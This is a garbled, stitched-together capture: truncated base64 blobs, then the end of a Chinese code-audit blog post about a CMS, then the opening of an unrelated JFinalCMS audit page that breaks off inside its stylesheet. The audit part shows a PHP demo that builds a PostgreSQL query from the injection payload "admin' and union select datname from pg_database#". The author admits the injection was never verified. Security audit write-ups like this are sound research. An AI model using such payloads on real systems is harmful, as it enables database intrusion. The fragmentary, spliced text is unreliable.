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 truncated
|
||||
<blockquote><p>只需要传入<code>suffix</code>参数控制后缀,<code>bkg_flag=0</code>控制进入if里面即可。</p>
|
||||
</blockquote>
|
||||
<h1 id=toc-3>sql注入</h1>
|
||||
<p>在<code>monitor_users_trend_show</code> 的处理路由中,通过<code>get_db_connection()</code>来连接<code>postgresql</code>数据库,接收<code>$name、$timescope</code>参数,通过<code>$timescope</code>参数生成<code>$data_table_name</code>和<code>$query_codiction</code>,但是<code>$name</code>是直接传入的,看<code>replace_str_symbol</code>处理,<code>replace_str_symbol</code>对<code>括号</code>进行了处理,但是似乎不影响<code>$name</code>的值,因为这里是直接拼接的。</p>
|
||||
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181058-5a96aef8-c66a-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181112-62bbf962-c66a-1.png><img src=data:image/png;base64,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 truncated
|
||||
<div class=highlight><pre><span></span><span class=x>function replace_str_symbol($value,$symbol = array('[',']'),$repace_symbol = array('(',')')){</span>
|
||||
<span class=x> return str_replace($symbol,$repace_symbol,$value);</span>
|
||||
<span class=x>}</span>
|
||||
|
||||
<span class=x>$data_table_name='admin';</span>
|
||||
<span class=x>$name="admin' and union select datname from pg_database#";</span>
|
||||
<span class=x>$query_condition=111;</span>
|
||||
<span class=x>$name=replace_str_symbol($name);</span>
|
||||
<span class=x>$query = 'select first_name,up_byte,down_byte,create_time from '.$data_table_name.' where first_name=\''.$name.'\' '.$query_condition.' order by create_time asc;';</span>
|
||||
|
||||
<span class=x>echo $query;</span>
|
||||
</pre></div>
|
||||
<blockquote><p>可以传入<code>$name</code>为类似的形式,直接将后面的注释掉,使它联合查询进行注入,可惜的是这里并没有成功验证,找的很多资产都连接<code>pg</code>的时候出现问题,并且因为进不去里面不知道<code>timescope</code>等具体是什么,这里是否存在留疑!</p>
|
||||
</blockquote>
|
||||
<h1 id=toc-4>总结</h1>
|
||||
<p>整个<code>CMS</code>框架的路由都是以参数<code>g</code>控制,所有的处理逻辑文件都在<code>.mds</code>后缀文件里面,通过<code>include template()</code>的形式来对模板进行渲染,从而到达前端,安全防御也不多,审计起来相对来说挺简单的。</p>
|
||||
</div>
|
||||
|
||||
<div class=post-user-action style=margin-top:34px>
|
||||
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=13627>
|
||||
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>1</span>
|
||||
</span>
|
||||
|
||||
<span class="btn btn-default pull-right" id=follow_topic data-pk=13627>
|
||||
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>2</span>
|
||||
</span>
|
||||
|
||||
|
||||
<span class="btn btn-default pull-right">
|
||||
<span>
|
||||
|
||||
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
|
||||
<div class=clearfix></div>
|
||||
</div>
|
||||
|
||||
<div class=related-section>
|
||||
<div class=related-box>
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13626 title=快速审计记录(三)--jfinalcms><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>快速审计记录(三)--jfinalcms</a></span>
|
||||
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13628 title=快速审计记录(四)--某管理系统><span class=related-label>下一篇:</span>快速审计记录(四)--某管理系统</a></span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
||||
<div class=modal-dialog>
|
||||
<div class=modal-content>
|
||||
<div class=modal-header>
|
||||
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
||||
积分打赏
|
||||
</h4>
|
||||
</div>
|
||||
<div class=modal-body id=button-value>
|
||||
<div style=text-align:center>
|
||||
<div role=group>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
||||
1分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
||||
2分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
||||
5分
|
||||
</button>
|
||||
</div>
|
||||
<br>
|
||||
<div style=margin-top:20px>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
||||
8分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
||||
10分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
||||
20分
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class=modal-footer id=confirm>
|
||||
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
||||
<button type=button class="btn btn-primary" id=reward_topic data-pk=13627>确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box">
|
||||
<ol class=breadcrumb>
|
||||
<li class=active>0 条回复</li>
|
||||
</ol>
|
||||
<div class="box-container post-container">
|
||||
|
||||
<ul>
|
||||
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box" id=reply-box>
|
||||
|
||||
<div class="box-container clearfix">
|
||||
|
||||
<div class=reminder>
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13627&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<footer class=bs-docs-footer>
|
||||
<div class="container text-center">
|
||||
<div class=links>
|
||||
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
||||
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
||||
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
||||
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
||||
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
||||
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
||||
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
|
||||
|
||||
<div id=waf_nc_block style=display:none></div>
|
||||
@@ -0,0 +1,370 @@
|
||||
<!DOCTYPE html> <html><!--
|
||||
Page saved with SingleFile
|
||||
url: https://forum.butian.net/share/2906
|
||||
--><meta charset=utf-8>
|
||||
<meta http-equiv=X-UA-Compatible content="IE=edge">
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name=csrf-token content=VD0owLiLrat8LaN2vBAqJtnLFngrtZgXtzYM7DqG>
|
||||
<title>JFinalCMS代码审计</title>
|
||||
<meta name=keywords content=奇安信,天眼,补天,漏洞,情报,攻防,安全>
|
||||
<meta name=description content=奇安信攻防社区-某cms代码审计>
|
||||
<meta name=author content="QIANXIN Team">
|
||||
<meta name=copyright content="2021 QIANXIN.com">
|
||||
<style>@media(max-width:767px){}</style>
|
||||
<style>/*!
|
||||
* Bootstrap v3.4.1 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2019 Twitter, Inc.
|
||||
